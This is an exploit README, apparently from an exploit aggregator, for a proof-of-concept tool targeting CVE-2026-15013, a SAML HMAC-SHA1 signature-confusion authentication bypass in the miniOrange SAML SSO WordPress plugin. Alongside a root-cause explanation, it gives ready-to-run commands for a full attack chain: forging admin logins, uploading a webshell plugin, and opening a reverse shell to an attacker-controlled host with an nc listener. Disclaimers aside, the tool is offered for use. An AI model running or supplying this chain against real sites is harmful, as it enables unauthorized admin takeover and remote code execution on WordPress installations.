Exploit for CVE-2026-15013

## https://sploitus.com/exploit?id=31F97C2A-5531-5A57-A1D7-0BF70F68A9B2
# CVE-2026-15013 — miniOrange SAML SSO <= 5.4.3 Auth Bypass (PoC)

Proof-of-concept for **CVE-2026-15013**: unauthenticated authentication bypass via SAML **Signature Algorithm Confusion** (HMAC-SHA1) in the miniOrange *SAML Single Sign On – SSO Login* WordPress plugin (versions **up to and including 5.4.3**).

**Authorized testing only.** Use this code solely on systems you own or have explicit permission to test. Unauthorized access to computer systems is illegal.

## Credits

| Role | |
|------|--|
| **Vulnerability finder** | lhking (credited on the CVE record) |
| **CVE / CNA** | Wordfence |
| **This repository** | Independent lab reproduction / PoC automation (not the original discovery) |

CVE record: https://vulners.com/cve/CVE-2026-15013

## Root cause

`Mo_SAML_Utilities::mo_saml_cast_key()` trusts the `SignatureMethod` algorithm from the attacker-controlled `SAMLResponse`. When set to **HMAC-SHA1**, the plugin recasts the IdP **RSA public key** as an HMAC shared secret and verifies the signature with it. Anyone who can read the IdP certificate (often public metadata) can forge a valid assertion for any existing WordPress user, including administrators.

Patched in **5.4.4+** (insecure algorithms / HMAC rejected).

## CVSS

**9.8 CRITICAL** — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

## Requirements

- Python 3.10+
- `openssl` CLI (for cert to public key)
- Network access to the target WordPress site and, for automatic key fetch, the IdP SAML descriptor

Install dependencies:

    pip install -r requirements.txt

## Usage

Full chain (enum, HMAC login, admin, webshell):

    python3 exploit.py -u https://TARGET.example

Optional reverse shell (start listener first: `nc -lvnp 4444`):

    python3 exploit.py -u https://TARGET.example --lhost YOUR_IP --lport 4444

Login only (no shell):

    python3 exploit.py -u https://TARGET.example --no-shell

Manual overrides:

    python3 exploit.py -u https://TARGET.example \
      --issuer https://idp.example/realms/xxx \
      --nameid admin \
      -k ./idp-pubkey.pem

### Arguments

| Flag | Description |
|------|-------------|
| `-u, --url` | WordPress base URL (**required**) |
| `-k, --hmac-key` | PEM public key or cert file; if empty, fetch from IdP metadata |
| `--issuer` | Override IdP issuer |
| `--acs` | Override ACS URL |
| `--nameid` | Force a single WordPress username |
| `--lhost` / `--lport` | Reverse shell callback (default port 4444) |
| `--no-shell` | Stop after admin session |
| `--no-reverse` | Upload shell but do not trigger reverse |

## Flow

1. Detect WordPress and plugin version (must be <= 5.4.3)
2. Discover ACS, SP entityID, IdP issuer
3. Obtain IdP signing cert (metadata) and derive public key PEM (HMAC secret)
4. Enumerate WordPress users
5. Forge HMAC-SHA1 signed SAMLResponse per candidate user
6. Select account with install_plugins (admin)
7. Upload webshell plugin (`exp/shell.php?c=id`)
8. Optional reverse shell via `--lhost`

## Disclaimer

This project is for educational and authorized security research only. The authors and contributors are not responsible for misuse. Always obtain written permission before testing third-party systems. The original vulnerability was reported through responsible disclosure; this repository only demonstrates reproduction for learning and defensive validation.

## References

- https://vulners.com/cve/CVE-2026-15013
- https://www.wordfence.com/threat-intel/vulnerabilities/id/ee95092d-6351-4612-872d-284165bc1201?source=cve
- Plugin fix: miniOrange SAML 5.4.4+

## License

For research use. No warranty.